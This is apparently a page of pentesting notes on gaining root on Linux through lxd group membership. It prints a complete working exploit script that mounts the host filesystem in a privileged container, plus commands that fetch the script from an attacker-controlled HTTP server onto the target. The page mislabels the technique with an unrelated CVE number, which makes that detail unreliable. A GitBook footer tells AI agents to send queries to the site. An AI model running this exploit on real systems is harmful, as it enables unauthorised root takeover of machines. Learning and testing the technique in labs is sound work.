> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/user-groups/lxd-group-linux-privilege-escalation.md).

# lxd Group Abuse - Linux Privilege Escalation

User Group (lxd) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.

## What It Is

Dangerous local group memberships can expose privileged resources without requiring a kernel exploit. Groups such as docker, lxd, adm, or proxy may grant host control, sensitive log access, or configuration paths useful for lateral movement and root escalation. This specific page focuses on **User Group (lxd)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.

## Enumeration

Start by confirming the local context and the exact misconfiguration before running the exploit path.

```bash
id
groups
```

## Examples

### LXD Exploitation:

**Identification of `ash` user membership in the `lxd` group**:

By checking the groups to which the user `ash` belongs, we note that he is part of the `lxd` group, which allows LXC abuse to obtain root privileges.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9705e73b57e329be72a44a941f0cb52703b0cd36%2Fimage%20(2387).png?alt=media" alt=""><figcaption></figcaption></figure>

**Download and prepare the operation**:

Use `searchsploit` to obtain the exploit script for the LXC vulnerability (CVE-2020-16941)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-192ca838541ed7b19097159f50948a604254bd09%2F%7BFE887AA8-8542-4A4A-A1DA-D821C4ADA147%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

This script exploits the LXC vulnerability to execute commands with elevated privileges.

**Exploit script content (46978.sh):**

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/nUsage:"
  echo -e "/t[-f] Filename (.tar.gz alpine file)"
  echo -e "/t[-h] Show this help panel/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] Listing images.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "/n[*] Removing container..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* The script creates an elevated LXC container and provides root access on the target machine.

**Download Alpine image file and script:**

Close the restitory containing the files needed for the operation and transfer them to your machine via a local HTTP server.

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

Start a local HTTP server to serve the file and script

```bash
python3 -m http.server 80
```

On your target machine, download the script and image file:

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e2b13308667b9bc5cd005c265b775ca77771d%2F%7B1C54AE33-E047-4798-8C04-ACDA4DDA239B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

\*\* PATH Update\*\*:

Adapt the `PATH` to ensure that the LXC commands are correctly interpreted.

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**Operating script execution**

Run the script with the downloaded Alpine image file to exploit the vulnerability and get a root shell:

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef4fa49ac28e96d5aad86d762b8b27d6453f2408%2F%7B40FA85B2-C6C6-42B7-BA8B-3E519C7A01F9%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19d04b668b9fefbfb85585d0d9bed8131fed29c5%2Fimage%20(2388).png?alt=media" alt=""><figcaption></figcaption></figure>

To get out of the container, just go to the `/mnt/root` directory.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/user-groups/lxd-group-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
